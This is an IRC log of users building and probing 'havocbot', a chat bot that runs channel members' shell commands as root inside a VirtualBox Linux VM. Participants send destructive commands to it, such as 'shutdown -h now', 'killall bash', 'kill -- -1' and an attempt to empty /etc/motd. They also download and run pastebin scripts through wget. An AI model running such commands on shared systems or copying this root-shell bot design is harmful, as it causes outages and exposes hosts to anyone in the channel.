01:08:28 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: exec: not found
01:08:30 <moon__> oops
01:08:32 <moon__> wrong bt
01:08:37 <moon__> havocbot: exec ls
01:08:47 -!- havocbot has quit (Remote host closed the connection).
01:08:48 <quintopia> you crashed it this time
01:08:53 <int-e> if at first you don't succeed...
01:08:59 <moon__> im working on it lol
01:09:04 <moon__> ima fix it nw
01:09:27 <quintopia> ...flood flood again
01:09:39 <int-e> moon__: I hope you spell code better than English.
01:11:26 -!- havocbot has joined.
01:11:30 <moon__> he now uses /bin as the main command dir
01:11:37 <moon__> havocbot: ls
01:11:37 <havocbot> moon__:bashbot.config:bashbot.pid:ii-1.7:ii-1.7.tar.gz
01:12:00 <moon__> havocbot: cd
01:12:14 <moon__> thats not a bin command, is it? xD
01:12:57 -!- havocbot has quit (Remote host closed the connection).
01:13:06 <moon__> ok, now to add sbin support
01:17:33 <moon__> lets se..
01:17:40 -!- havocbot has joined.
01:17:50 <moon__> havocbot: cd /
01:18:02 <moon__> havocbot: ls
01:18:02 <havocbot> moon__:README:bashbot:bashbot.config:bashbot.pid:commands:filters
01:18:06 <moon__> huh
01:18:11 <moon__> ...
01:18:28 <moon__> why is gentoo pretending cd does not exist?
01:18:50 <quintopia> it isnt. you're doing something wrong
01:18:56 <moon__> ill look
01:18:57 -!- havocbot has quit (Remote host closed the connection).
01:19:04 -!- sewilton has quit (Ping timeout: 264 seconds).
01:20:10 <moon__> wait. would "$cmd" execute the command?
01:20:18 <moon__> that is contained in cmd?
01:20:55 <oerjan> moon__: cd isn't an external command, it needs to be defined in the persistently running shell.
01:21:11 <oerjan> HackEgo doesn't usefully have it for that reason.
01:21:24 <oerjan> (well across commands)
01:21:48 -!- sewilton has joined.
01:22:05 <oerjan> although someone here once made an external cd by using gdb
01:22:09 <oerjan> iirc
01:22:26 <quintopia> gdb eh
01:22:42 <oerjan> (it connected gdb to the parent process and forced it to run the cd syscall, or thereabouts)
01:23:39 <moon__> kk, ill just have it stay in ~
01:24:08 <moon__> or would adding a call to cd in the if block that figures out what type of cmmand you want work?
01:24:28 <oerjan> that should work, assuming that block is in the long-running process
01:24:58 <moon__> it is
01:25:02 -!- havocbot has joined.
01:25:08 <moon__> havocbot: ls
01:25:08 <havocbot> moon__:README
01:25:08 <havocbot> moon__:bashbot
01:25:08 <havocbot> moon__:bashbot.config
01:25:08 <havocbot> moon__:bashbot.pid
01:25:08 <havocbot> moon__:commands
01:25:09 <havocbot> moon__:filters
01:25:16 <moon__> ok, just gotta add the filter
01:25:21 -!- havocbot has quit (Remote host closed the connection).
01:26:23 -!- havocbot has joined.
01:26:31 <moon__> i beleive it is now throwing commands at the shell directly'
01:26:46 <moon__> havocbot: cd
01:26:53 <moon__> havocbot: ls
01:26:53 <havocbot> moon__:README:bashbot:bashbot.config:bashbot.pid:commands:filters
01:27:14 <moon__> ok ill try the if block extension, i just made it redundant 10 seconds ago
01:27:21 -!- havocbot has quit (Remote host closed the connection).
01:28:43 <moon__> ok, i think it should work
01:28:50 -!- havocbot has joined.
01:28:59 <moon__> havocbot: cd /
01:29:06 <moon__> havocbot: ls
01:29:06 <havocbot> moon__:README:bashbot:bashbot.config:bashbot.pid:commands:filters
01:29:09 <moon__> urgh
01:29:26 <moon__> maybe i should just make a little dir for you all to use to run the bot
01:29:30 -!- havocbot has quit (Remote host closed the connection).
01:30:16 -!- havocbot has joined.
01:30:20 <moon__> you should be in the main dir
01:30:23 <moon__> havocbot: ls
01:30:23 <havocbot> moon__:bashbot.config:bashbot.pid:ii-1.7:ii-1.7.tar.gz
01:30:33 <ybden> havocbot: ls /..
01:30:33 -!- silverscream has joined.
01:30:34 <havocbot> ybden:bashbot.config:bashbot.pid:ii-1.7:ii-1.7.tar.gz
01:30:36 <ybden> aww
01:30:39 <moon__> Ok, you can do what you all want now heh
01:30:43 <ybden> havocbot: ls /../../..
01:30:44 <havocbot> ybden:bashbot.config:bashbot.pid:ii-1.7:ii-1.7.tar.gz
01:30:55 <moon__> its gentoo, idk if it supports that
01:31:09 <shachaf> Does it support quitting?
01:31:11 <moon__> havocbot: rm ii-1.7.tar.gz
01:31:18 <shachaf> 14:36 <moon__> Singleline
01:31:34 <moon__> its singleline, dont you see?
01:31:34 <shachaf> Oh, that's fixed, at least.
01:31:50 <shachaf> havocbot: whoami
01:31:50 <havocbot> shachaf:root
01:31:54 <shachaf> havocbot: shutdown -h now
01:32:05 <shachaf> havocbot: whoami
01:32:05 <havocbot> shachaf:root
01:32:12 <moon__> it gave you the useage (=
01:32:29 <moon__> and please dont
01:32:52 <moon__> or i will waste my time adding a ignore list
01:32:58 <moon__> havocbot: ls
01:32:58 <havocbot> moon__:bashbot.config:bashbot.pid:ii-1.7:ii-1.7.tar.gz
01:33:43 <moon__> havocbot: bash rm -f ii-1.7.tar.gz #this might get around the single argument limitation
01:33:57 <moon__> .
01:34:02 <moon__> havocbot: ls
01:34:09 <moon__> i froze it
01:34:23 <moon__> bash is offically a no-no
01:34:40 <moon__> wait its taking this as lines
01:34:41 <moon__> haha
01:35:03 -!- havocbot has quit (Remote host closed the connection).
01:35:19 -!- havocbot has joined.
01:35:52 <moon__> havocbot: rm -f ii-1.7.tar.gz
01:36:29 <moon__> is there a way to bypass the single arg limitation?
01:38:58 <moon__> hello? is everyone dead or unwilling to give me a tip?
01:39:45 <Phantom__Hoover> i mean i don't know how your bot works
01:39:54 -!- Phantom__Hoover has changed nick to Phantom_Hoover.
01:40:42 <moon__> $cmd "$@" is the command call..
01:41:22 <moon__> wait leme check
01:41:23 -!- havocbot has quit (Remote host closed the connection).
01:42:11 <moon__> nope, forgot the "$@"
01:42:38 -!- havocbot has joined.
01:42:53 <moon__> havocbot: ls
01:42:53 <havocbot> moon__:bashbot.config:bashbot.pid:ii-1.7:ii-1.7.tar.gz
01:43:06 <moon__> havocbot: cat bashbot.config
01:43:06 <havocbot> moon__:nick=havocbot:server=irc.freenode.net:port=6667:chans=( "#esoteric" )
01:43:46 <moon__> ok there..
01:43:54 <moon__> havocbot: cat bashbot.config | grep "nick"
01:43:54 <havocbot> moon__:nick=havocbot:server=irc.freenode.net:port=6667:chans=( "#esoteric" )
01:43:59 <moon__> havocbot: cat bashbot.config | grep -e "nick"
01:43:59 <havocbot> moon__:nick=havocbot$:server=irc.freenode.net$:port=6667$:chans=( "#esoteric" )$
01:44:05 <moon__> ..
01:44:16 <moon__> maybe i should actually use bash to do it?
01:45:10 <moon__> should i?
01:45:36 -!- ChanServ has set channel mode: +o oerjan.
01:45:49 <moon__> whats with the op oerjan?
01:46:04 -!- oerjan has set channel mode: +b *!*uid156554@gateway/web/irccloud.com/x-deybdlcjwgqyifml.
01:46:04 -!- oerjan has kicked silverscream.
01:46:23 -!- oerjan has set channel mode: -o oerjan.
01:46:46 <oerjan> moon__: silverscream = noloveinwaikiki (earlier today) = hagb4rd
01:46:54 <moon__> spammer?
01:47:03 <oerjan> troll.
01:47:29 <moon__> ah
01:47:40 <moon__> i bet he/she might try to mess up havocbot?
01:48:06 <oerjan> moon__: i bet he/she would not think of it unless you give him the idea.
01:48:19 <moon__> also, you can use wget to put files on havoc
01:48:34 <moon__> havocbot: ls
01:48:35 <havocbot> moon__:bashbot.config:bashbot.pid:ii-1.7:ii-1.7.tar.gz
01:48:46 <moon__> havocbot: rm -f ii-1.7.tar.gz
01:48:56 <moon__> havocbot: ls
01:48:56 <havocbot> moon__:bashbot.config:bashbot.pid:ii-1.7
01:49:00 <moon__> there
01:50:38 <moon__> also, python is preinstalled for your useage
01:51:59 <moon__> havocbot: mkdir bin
01:52:06 <moon__> havocbot: mkdir src
01:52:45 <moon__> havocbot: bash cd /
01:52:45 <ybden> havocbot: sh
01:52:51 <moon__> ybden
01:52:55 <ybden> moon__
01:53:11 <moon__> havocbot freezes when interactives are used in such a way the open a interactive set
01:53:34 <moon__> luckily havoc only has bash so you didnt make me reboot it
01:53:39 -!- hppavilion[1] has joined.
01:53:44 <moon__> hia hppa
01:53:46 <ybden> moon__: oh, sorry
01:53:52 <ybden> moon__: You might like to change how that works?
01:54:00 <ybden> havocbot: bash -c ls
01:54:00 <havocbot> ::ybden:bashbot.config:bashbot.pid:bin:ii-1.7:src
01:54:03 -!- augur has joined.
01:54:06 <moon__> havocbot: echo hi #i might need to fix something if this doesnt work
01:54:07 <havocbot> moon__:hi #i might need to fix something if this doesnt work
01:54:10 <ybden> note to self: do not do just bash
01:54:19 <ybden> moon__: no, -c is non-interactive
01:54:23 <moon__> kk
01:54:27 <ybden> just executes a command, then exits
01:54:32 <moon__> k
01:54:33 <moon__> god
01:54:35 <moon__> *good
01:54:38 <ybden> haha
01:54:40 <moon__> s/god/good/
01:54:55 <ybden> havocbot: bloop () { }; bloop
01:55:03 <ybden> havocbot: bloop () { echo test; }; bloop
01:55:10 <ybden> havocbot: bash -c 'bloop () { echo test; }; bloop'
01:55:26 <moon__> its not direct terminal. it $cmd "$@" to execute commands
01:55:38 <ybden> eh?
01:55:40 <moon__> also, nvm, sh does exist
01:55:44 <moon__> just.. its still running
01:55:50 <ybden> havocbot: pgrep sh
01:55:54 <moon__> havocbot: ls
01:55:59 <ybden> D: what
01:56:02 <moon__> i need a rebot
01:56:04 <moon__> *reboot
01:56:06 -!- havocbot has quit (Remote host closed the connection).
01:56:09 <ybden> when did that happen, moon__?
01:56:13 <ybden> s/when/why/
01:56:13 <moon__> idk
01:56:16 <moon__> i just noticed it
01:56:19 <moon__> in the lgs
01:56:23 -!- havocbot has joined.
01:56:23 <ybden> that was weird
01:56:24 <moon__> commands output and chat is logged
01:56:28 <ybden> havocbot: bash -c 'bloop () { echo test; }; bloop'
01:56:33 <ybden> havocbot: ls
01:56:33 <havocbot> ybden:bashbot.config:bashbot.pid:bin:ii-1.7:src
01:56:40 <moon__> it is fast tho
01:56:40 <ybden> havocbot: bloop () { echo test; }; bloop
01:56:45 <ybden> moon__: certainly
01:56:46 <ybden> havocbot: ls
01:56:47 <havocbot> ybden:bashbot.config:bashbot.pid:bin:ii-1.7:src
01:56:49 <moon__> we might need to give it mk
01:56:54 <ybden> mk?
01:56:58 <moon__> `mk
01:57:03 <HackEgo> usage: mk[x] file//contents
01:57:04 <moon__> the hackego mk
01:57:18 <moon__> hackego is also a linux bot, just slower
01:57:19 <moon__> and older
01:57:26 <moon__> and sandboxed with no network access
01:58:21 <moon__> hackego and havocbot both lack cd
01:59:06 <moon__> anyways, i cant keep havocbot up at all times, sadly
01:59:14 <moon__> its only up when im up
02:00:26 <ybden> havocbot: gcc
02:00:31 <ybden> havocbot: uname
02:00:32 <havocbot> ybden:Linux
02:00:41 <ybden> moon__: maybe make it formatted more nicely?
02:00:44 <ybden> havocbot: uname -a
02:00:44 <havocbot> ybden:Linux livecd 4.0.5-gentoo #1 SMP Tue Aug 4 05:40:35 UTC 2015 i686 Intel(R) Celeron(R) CPU N2840 @ 2.16GHz GenuineIntel GNU/Linux
02:00:50 <ybden> havocbot: lscpu
02:00:50 <havocbot> ybden:Architecture: i686:CPU op-mode(s): 32-bit:Byte Order: Little Endian:CPU(s): 2:On-line CPU(s) list: 0,1:Thread(s) per core: 1:Core(s) per socket: 2:Socket(s): 1:Vendor ID: GenuineIntel:CPU family: 6:Model: 55:Model name: Intel(R) Celeron(R) CPU N2840 @ 2.16GHz:Stepping: 8:CPU MHz: 2166.617:
02:01:06 <moon__> its in virtualbx
02:01:12 <ybden> ah, I see
02:01:19 <ybden> was wondering why i686
02:01:25 <ybden> havocbot: ls /usr
02:01:25 <havocbot> ybden:bin:i486-pc-linux-gnu:include:lib:libexec:livecd:local:portage:sbin:share:src:tmp
02:01:29 <ybden> havocbot: ls /usr/bin
02:01:30 <havocbot> ybden:2to3:2to3-2.7:2to3-3.4:[:a2p:a2x:a2x.py:aconnect:acpi_listen:addr2name:alsamixer:alsaucm:amidi:amixer:aoss:aplay:aplaymidi:apm:apmsleep:apropos:arch:arecord:arecordmidi:arpd:asciidoc:asciidoc.py:aseqdump:aseqnet:aserver:avivotool:awk:b2:b43-fwcutter:base64:basename:bashbug:bc:bjam:bzcmp:bzdiff:bzegrep:bzfgrep:bzgrep:bzip2recover:bzless:bzmore:c2ph:c89:c99:c_rehash:cal:calc_tickadj:captest:captoinfo:catchsegv:catman:chage:charde
02:01:38 <moon__> too much lol
02:01:42 <ybden> moon__: any reason why there's no gcc?
02:01:46 <ybden> havocbot: which gcc
02:01:49 <ybden> havocbot: which make
02:01:54 <ybden> or anything else like that
02:01:55 <moon__> livecd doesnt have it for no reason whatsoever
02:02:06 <ybden> /Gentoo/ livecd?
02:02:07 <ybden> wat
02:02:37 <moon__> mhm
02:02:48 <moon__> i downloaded gentoo a ln while ag
02:02:56 <ybden> out of date Gentoo? D:
02:03:08 <moon__> not tooo out of date
02:03:23 <moon__> 1-2 years ago maybe
02:03:29 <moon__> ill update to a new livecd soon
02:04:07 <moon__> also, pls do not ls /usr/bin
02:04:13 <moon__> it spams the logs
02:04:48 <ybden> moon__: you should maybe add some timeouts
02:04:55 <moon__> heh, maybe
02:05:09 <moon__> or just a command to allow people to kill a command
02:05:14 <moon__> if it runs out of hand
02:05:16 <ybden> to avoid while true; do nothing; done, and interactive things, I mean
02:05:27 <ybden> havocbot: read
02:05:30 <ybden> havocbot: ls
02:05:30 <havocbot> ybden:bashbot.config:bashbot.pid:bin:ii-1.7:src
02:05:37 -!- hppavilion[2] has joined.
02:05:46 <ybden> havocbot: bash -c 'while true; do true; done'
02:05:47 <ybden> havocbot: ls
02:05:48 <havocbot> ybden:bashbot.config:bashbot.pid:bin:ii-1.7:src
02:05:49 <moon__> hi hppa, again
02:05:54 <ybden> havocbot: bash
02:05:55 <ybden> havocbot: ls
02:05:55 <havocbot> ybden:bashbot.config:bashbot.pid:bin:ii-1.7:src
02:06:00 <ybden> moon__: you fixed that?
02:06:03 <ybden> havocbot: pgrep bash
02:06:06 <ybden> havocbot: ls
02:06:06 <havocbot> ybden:bashbot.config:bashbot.pid:bin:ii-1.7:src
02:06:08 <moon__> the commads are running reduntantly, >_>
02:06:14 <ybden> havocbot: killall bash
02:06:15 -!- havocbot has quit (Remote host closed the connection).
02:06:17 <ybden> :D:
02:06:21 <moon__> ...
02:06:34 <ybden> (:D: being combination of :D and D:)
02:06:37 <moon__> i will physically murder you
02:06:41 -!- havocbot has joined.
02:06:47 <ybden> moon__: howso?
02:06:54 <moon__> dont touch mah bot
02:06:55 <ybden> havocbot: echo $PID
02:06:55 <havocbot> ybden:$PID
02:07:02 <moon__> (=
02:07:06 <ybden> havocbot: bash -c 'echo $PID'
02:07:11 <ybden> havocbot: pwd
02:07:11 <havocbot> ybden:/root
02:07:20 <ybden> havocbot: kill -1
02:07:23 <ybden> hmm
02:07:31 <ybden> did the killall bash crash it
02:07:32 <ybden> ?
02:07:34 <moon__> n
02:07:36 <moon__> no
02:07:42 <moon__> it was used wrong, dummy
02:07:44 -!- augur_ has joined.
02:07:45 <moon__> and dont
02:07:52 <ybden> moon__: what did it do, then?
02:07:52 <moon__> or i will try to block you lol
02:08:03 <moon__> printed its help message to the terminal
02:08:06 <ybden> I don't see how that was incorrect usage
02:08:23 <ybden> havocbot: kill -l -1
02:08:23 <havocbot> ybden: 1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 5) SIGTRAP: 6) SIGABRT 7) SIGBUS 8) SIGFPE 9) SIGKILL10) SIGUSR1:11) SIGSEGV12) SIGUSR213) SIGPIPE14) SIGALRM15) SIGTERM:16) SIGSTKFLT17) SIGCHLD18) SIGCONT19) SIGSTOP20) SIGTSTP:21) SIGTTIN22) SIGTTOU23) SIGURG24) SIGXCPU25) SIGXFSZ:26) SIGVTALRM27) SIGPROF28) SIGWINCH29) SIGIO30) SIGPWR:31) SIGSYS34) SIGRTMIN35) SIGRTMIN+136) SIGRTMIN+237) SIGRTMIN+3:38) SI
02:08:28 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
02:08:28 <moon__> thats a 1
02:08:32 <moon__> nice spam
02:08:33 <ybden> havocbot: kill -- -1
02:08:33 -!- havocbot has quit (Remote host closed the connection).
02:08:33 <moon__> >_>
02:08:44 <ybden> eh, that doesn't work how I remember it
02:08:47 <ybden> also sorry
02:08:55 <moon__> *slaps ybden* nu
02:08:59 <ybden> ;_;
02:09:11 -!- havocbot has joined.
02:09:19 <moon__> you made gentoo shw the start msg again
02:09:20 <ybden> I was pretty sure that -1 was supposed to be interpreted as negative 1, not flag positive one
02:09:24 <ybden> moon__: :D:
02:09:34 <moon__> *smack*
02:09:39 <ybden> havocbot: ls -alFh /etc/motd
02:09:40 <havocbot> ybden:-rw-r--r-- 1 root root 885 Aug 4 2015 /etc/motd
02:09:43 <moon__> im very happy its a virtuall machine
02:09:53 <ybden> havocbot: >/etc/motd
02:09:54 <ybden> havocbot: ls -alFh /etc/motd
02:09:55 <havocbot> ybden:-rw-r--r-- 1 root root 885 Aug 4 2015 /etc/motd
02:09:57 <ybden> ehh
02:09:59 <moon__> do not abuse your root privs -.-
02:10:03 <ybden> havocbot: truncate /etc/motd
02:10:05 <ybden> havocbot: ls -alFh /etc/motd
02:10:05 <havocbot> ybden:-rw-r--r-- 1 root root 885 Aug 4 2015 /etc/motd
02:10:07 <moon__> or...
02:10:10 <moon__> ...
02:10:16 <ybden> moon__: I was removing the start message for you
02:10:17 -!- augur has quit (Ping timeout: 250 seconds).
02:10:23 <moon__> dont
02:10:25 <moon__> heh
02:10:25 <ybden> Also I don't get why that wasn't working
02:10:33 <ybden> moon__: wait, you /want/ it?
02:10:44 <moon__> '$cmd "$@"' is what uses cmds
02:10:51 <moon__> multiarg cmds need bash
02:10:56 <ybden> oh, right
02:10:57 <moon__> yea, dont mess with my livecd
02:11:01 <ybden> okay
02:11:07 <moon__> mess with the drive
02:11:10 <moon__> aka the home dir
02:11:13 -!- hppavilion[2] has quit (Ping timeout: 252 seconds).
02:11:32 -!- Phantom_Hoover has quit (Remote host closed the connection).
02:11:33 <ybden> moon__: er, are you sharing directories with it? D:
02:11:37 <moon__> no
02:11:37 <ybden> havocbot: ls /home
02:11:50 <moon__> ...
02:11:53 <moon__> havocbot: ls
02:11:53 <havocbot> moon__:bashbot.config:bashbot.pid:bin:ii-1.7:src
02:11:55 <moon__> thats the main dir
02:12:11 <ybden> havocbot: which truncate
02:12:11 <havocbot> ybden:/usr/bin/truncate
02:12:13 <ybden> ehh
02:12:20 <ybden> I don't get why truncate wouldn't have worked
02:12:23 <moon__> also, deleting ii-1.7 will get you killed again
02:12:24 <ybden> havocbot: truncate foo
02:12:26 <ybden> havocbot: ls
02:12:26 <havocbot> ybden:bashbot.config:bashbot.pid:bin:ii-1.7:src
02:12:28 <moon__> as that contains the bot
02:12:43 <ybden> oh, I see
02:12:51 <ybden> havocbot: file ii-1.7
02:12:51 <havocbot> ybden:ii-1.7: directory
02:12:53 <moon__> trunctuate: you must either specify --size or --reference
02:13:04 <ybden> moon__: okay, I remembered it wrong then >.<
02:13:16 <moon__> or its diff on gentoo
02:13:16 <ybden> havocbot: ls -alFh ii*
02:13:16 <havocbot> ybden:total 56K:drwxr-x--- 3 1000 1000 260 Jun 9 23:15 ./:drwx------ 5 root root 240 Jun 10 01:08 ../:-rw-r----- 1 1000 1000 2.0K Jan 5 2013 CHANGES:-rw-r----- 1 1000 1000 1.6K Jan 5 2013 FAQ:-rw-r----- 1 1000 1000 1.2K Jan 5 2013 LICENSE:-rw-r----- 1 1000 1000 1.3K Jan 5 2013 Makefile:-rw-r----- 1 1000 1000 1.9K Jan 5 2013 README:drwxr-xr-x 4 root root 180 Jun 10 00:27 bashbot-master/:-rw-r----- 1 1000 1000 733 Jan 5
02:13:19 <moon__> either one
02:13:25 <ybden> havocbot: ls ii*
02:13:25 <havocbot> ybden:CHANGES:FAQ:LICENSE:Makefile:README:bashbot-master:config.mk:ii.1:ii.c:master.zip:query.sh
02:13:41 <moon__> it contains ii, that useful lib, but i found myself not using it
02:13:59 <ybden> moon__: nah, I just used it wrong
02:14:03 <ybden> havocbot: touch me
02:14:07 <ybden> havocbot: rm me
02:14:08 <ybden> havocbot: rm me
02:14:17 <ybden> hmm, does it not redirect stderr to stdout?
02:14:19 <moon__> you removed me
02:14:20 <ybden> might want to change that
02:14:29 <moon__> for some reason, no, im looking into it
02:14:32 <ybden> okay
02:14:36 <ybden> havocbot: pwd
02:14:36 <havocbot> ybden:/root
02:14:40 <ybden> havocbot: cd *
02:14:42 <ybden> havocbot: pwd
02:14:42 <havocbot> ybden:/root
02:14:44 <moon__> if you can upload the bashbot file somewhere, go ahead
02:14:46 <moon__> cd doesnt work
02:14:56 <ybden> right, it invokes a subshell each time?
02:14:59 <moon__> mhm
02:15:01 <ybden> okay
02:15:06 <moon__> same with hackego
02:15:09 <ybden> yeah
02:15:09 <moon__> i think
02:15:11 <ybden> havocbot: "
02:15:22 <ybden> havocbot: ";cd
02:15:23 <moon__> ": command not found
02:15:34 <ybden> hmm, quoting is weird with this
02:15:40 <moon__> use bash lol
02:15:43 <moon__> or make a file
02:15:48 <moon__> mk would be usefull here
02:16:37 <moon__> anyone willing to add mk to havocbot?
02:16:43 <moon__> you can use wget to fetch it
02:18:33 <moon__> virtualbox doesnt have shared folders for gentoo as far as i know *responding to earlier message*
02:19:20 <moon__> you like havocbot ybden?
02:19:42 <moon__> `url bin/echo-p
02:19:44 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin/echo-p
02:19:54 <moon__> `url bin/mk
02:19:58 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin/mk
02:20:30 <moon__> havocbot: wget http://pastebin.com/raw/50Pts79s
02:20:41 -!- havocbot has quit (Remote host closed the connection).
02:21:01 -!- havocbot has joined.
02:21:01 -!- j-bot has joined.
02:21:07 <moon__> the terminal went out
02:21:48 <moon__> havocbot: ls
02:21:48 <havocbot> moon__:50Pts79s:bashbot.config:bashbot.pid:bin:ii-1.7:src
02:22:24 <moon__> havocbot: bash -c 'mv 50Pts79s /bin/echo-p'
02:22:43 <moon__> it failed
02:22:48 <moon__> havocbot: mv 50Pts79s /bin/echo-p
02:23:08 <oerjan> havocbot: echo hi there
02:23:09 <havocbot> oerjan:hi there
02:23:09 <moon__> havocbot: mv 50Pts79s /usr/bin/echo-p
02:23:32 <moon__> havocbot: mv 50Pts79s echo-p
02:23:50 <oerjan> havocbot: touch hi there
02:23:53 <moon__> readonly disk >_>
02:23:53 <oerjan> havocbot: ls
02:23:54 <havocbot> oerjan:bashbot.config:bashbot.pid:bin:echo-p:hi:ii-1.7:src:there
02:24:10 <oerjan> looks to me like it takes multiple args
02:24:18 <moon__> yea, i figured that i was wrong
02:24:20 <oerjan> havocbot: rm hi there
02:24:29 <oerjan> "$@" is magical
02:24:39 <moon__> ?
02:24:48 <moon__> havocbot: wget http://pastebin.com/VkvFjPqu
02:24:57 <oerjan> it expands to the same number of strings as the original argument list
02:25:11 <moon__> havocbot: mv VkvFjPqu mk
02:25:23 <moon__> havocbot: chmod +x echo-p
02:25:30 <moon__> havocbot: chmod +x mk
02:25:39 <moon__> havocbot: ./mk test//foobar
02:25:59 <moon__> havocbot: ls
02:25:59 <havocbot> moon__:bashbot.config:bashbot.pid:bin:echo-p:ii-1.7:mk:src
02:26:08 <moon__> havocbot: mk test//foobar
02:26:22 <moon__> havocbot: bash -c './mk test//foobar'
02:26:34 <moon__> hmm
02:26:46 <moon__> havocbot: bash -c ' ./mk test//foobar '
02:26:56 <moon__> end of file error
02:28:11 <oerjan> havocbot: which mk
02:28:20 <oerjan> huh
02:28:36 <oerjan> havocbot: echo ping
02:28:37 <havocbot> oerjan:ping
02:29:09 <moon__> mk is in the main folder
02:29:15 <oerjan> hm right
02:29:17 <moon__> aka ~ or home
02:29:22 <moon__> havocbot: cat mk
02:29:32 <moon__> ?
02:29:34 <moon__> ...
02:29:39 <oerjan> havocbot: echo $PATH
02:29:39 <havocbot> oerjan:$PATH
02:29:45 <moon__> try that in bash
02:29:46 <oerjan> havocbot: bash -c 'echo $PATH'
02:29:57 <moon__> end of file error
02:30:07 <oerjan> huh
02:30:10 <moon__> leme reboot havoc
02:30:15 <moon__> then you can try again
02:30:16 <oerjan> havocbot: bash -c 'echo test'
02:30:16 -!- havocbot has quit (Remote host closed the connection).
02:30:31 -!- havocbot has joined.
02:30:34 <moon__> there
02:30:37 <oerjan> havocbot: bash -c 'echo $PATH'
02:30:42 <moon__> nope, same error
02:30:45 <oerjan> havocbot: bash -c 'echo test'
02:30:51 <moon__> error
02:30:59 <oerjan> havocbot: which bash
02:30:59 <havocbot> oerjan:/bin/bash
02:31:11 <oerjan> havocbot: ls -a
02:31:11 <havocbot> oerjan:.:..:.bash_history:.bash_profile:.bashrc:.keep:.python_history:bashbot.config:bashbot.pid:bin:echo-p:ii-1.7:mk:src
02:31:27 <oerjan> havocbot: cat .bashrc
02:31:27 <havocbot> oerjan:#!/bin/bash::if [ ! "$(grep nox /proc/cmdline)" ]:then:if [ -x /usr/bin/X ]:then:if [ -e /etc/startx -a $(tty) = "/dev/tty1" ];:then:rm -f /etc/startx:##STARTX:[ -f /etc/motd ] && cat /etc/motd:fi:fi:fi
02:31:52 <oerjan> havocbot: ls -l .bashrc
02:31:54 <havocbot> oerjan:-rw-r--r-- 1 root root 221 Aug 4 2015 .bashrc
02:31:58 <moon__> : is used when a \n is encountered
02:32:09 <oerjan> hm .bashrc is too old to be broken
02:32:18 <oerjan> oh wait...
02:32:24 <oerjan> of course.
02:32:27 <moon__> what?
02:32:46 <oerjan> it tries to run the string 'echo
02:32:50 <moon__> lol
02:33:32 <oerjan> havocbot: echo echo $PATH | bash
02:33:32 <havocbot> oerjan:echo $PATH | bash
02:33:38 <oerjan> bah
02:33:43 <oerjan> hm tricky
02:33:45 <moon__> hah
02:34:17 <oerjan> echo test hi
02:34:22 <oerjan> havocbot: echo test hi
02:34:23 <havocbot> oerjan:test hi
02:34:25 <oerjan> thought so
02:35:10 <oerjan> havocbot: cat test
02:35:27 <moon__> nonexistent
02:35:35 <moon__> it could use a better script to run it
02:35:36 <moon__> hah
02:35:51 <moon__> because its not echoed to irc
02:36:52 <oerjan> havocbot: cat mk
02:37:01 <oerjan> oh also nonexistent?
02:37:07 <oerjan> havocbot: ls
02:37:08 <havocbot> oerjan:bashbot.config:bashbot.pid:bin:echo-p:ii-1.7:mk:src
02:37:16 <oerjan> havocbot: file mk
02:37:17 <havocbot> oerjan:mk: HTML document, ASCII text, with very long lines, with CRLF, LF line terminators
02:37:24 <oerjan> oh
02:37:33 <moon__> ?
02:37:39 <moon__> windows goofed it?
02:37:47 <oerjan> moon__: you didn't download the raw version
02:37:58 <moon__> ah, hahah
02:38:12 <moon__> havocbot: wget http://pastebin.com/raw/VkvFjPqu
02:38:32 <moon__> havocbot: mv VkvFjPqu
02:38:36 <moon__> havocbot: mv VkvFjPqu mk
02:38:51 <moon__> havocbot: ./mk test//foobar
02:39:04 <moon__> havocbot: file mk
02:39:05 <havocbot> moon__:mk: ASCII text, with no line terminators
02:39:27 <moon__> huh
02:39:30 <moon__> havocbot: mk
02:39:36 <moon__> havocbot: ./mk
02:39:54 <oerjan> havocbot: file echo-p
02:39:54 <havocbot> oerjan:echo-p: ASCII text, with no line terminators
02:39:58 <moon__> havocbot: bash -c ' ./mk foo//bar '
02:40:04 <oerjan> havocbot: cat echo-p
02:40:15 <oerjan> wat
02:40:19 <moon__> idk what
02:40:23 <oerjan> havocbot: cat echo-p
02:40:31 <moon__> im no good at bash, it did run th
02:40:53 <oerjan> moon__: you cannot run bash commands containing spaces at this point
02:41:06 <oerjan> i'm more concerned that my cat failed
02:41:10 <moon__> ?
02:41:12 <oerjan> havocbot: echo hi
02:41:13 <havocbot> oerjan:hi
02:41:14 <zzo38> Then, are you going to fix it?
02:41:29 <moon__> eh, depends if i can figure out how, haha
02:42:28 <oerjan> havocbot: xxd echo-p
02:42:31 <moon__> if anyone offers a better script, tho, ill happily use it
02:42:45 <oerjan> havocbot: hexdump echo-p
02:42:45 <havocbot> oerjan:0000000 6365 6f68 2220 3124 3b22 5b20 205b 2422:0000010 2231 3d20 203d 2f2a 202a 5d5d 2620 2026:0000020 6b6d 6964 2072 702d 2220 7b24 2531 2a2f:0000030 227d 3220 2f3e 6564 2f76 756e 6c6c :000003e
02:42:50 <moon__> xxd is a invalid command
02:43:04 <oerjan> ok so there's a file
02:43:11 <oerjan> testing something
02:43:31 <moon__> kk
02:43:49 <oerjan> havocbot: wc echo-p
02:43:49 <havocbot> oerjan: 0 12 62 echo-p
02:44:03 <oerjan> huh...
02:44:13 <moon__> did i forget to chmod?
02:44:22 <oerjan> could it simply be failing because there's no newline in it?
02:44:30 <oerjan> `file bin/echo-p
02:44:33 <HackEgo> bin/echo-p: ASCII text
02:44:48 <moon__> its the command from hackego
02:44:52 <moon__> for mk compat
02:45:13 <oerjan> havocbot: sed -i s/$/\n/ echo-p
02:45:27 <moon__> no return
02:45:27 <oerjan> havocbot: cat echo-p
02:45:28 <havocbot> oerjan:echo "$1"; [[ "$1" == */* ]] && mkdir -p "${1%/*}" 2>/dev/null
02:45:34 <oerjan> that fixed it
02:45:38 <moon__> oh
02:45:55 <moon__> check if mk is invalid
02:46:00 <oerjan> moon__: you don't print output which doesn't end with a newline, i think
02:46:08 <oerjan> havocbot: file mk
02:46:08 <havocbot> oerjan:mk: ASCII text, with no line terminators
02:46:11 <moon__> havocbot: ./echo-p
02:46:17 <oerjan> havocbot: sed -i s/$/\n/ mk
02:46:28 <oerjan> havocbot: cat mk
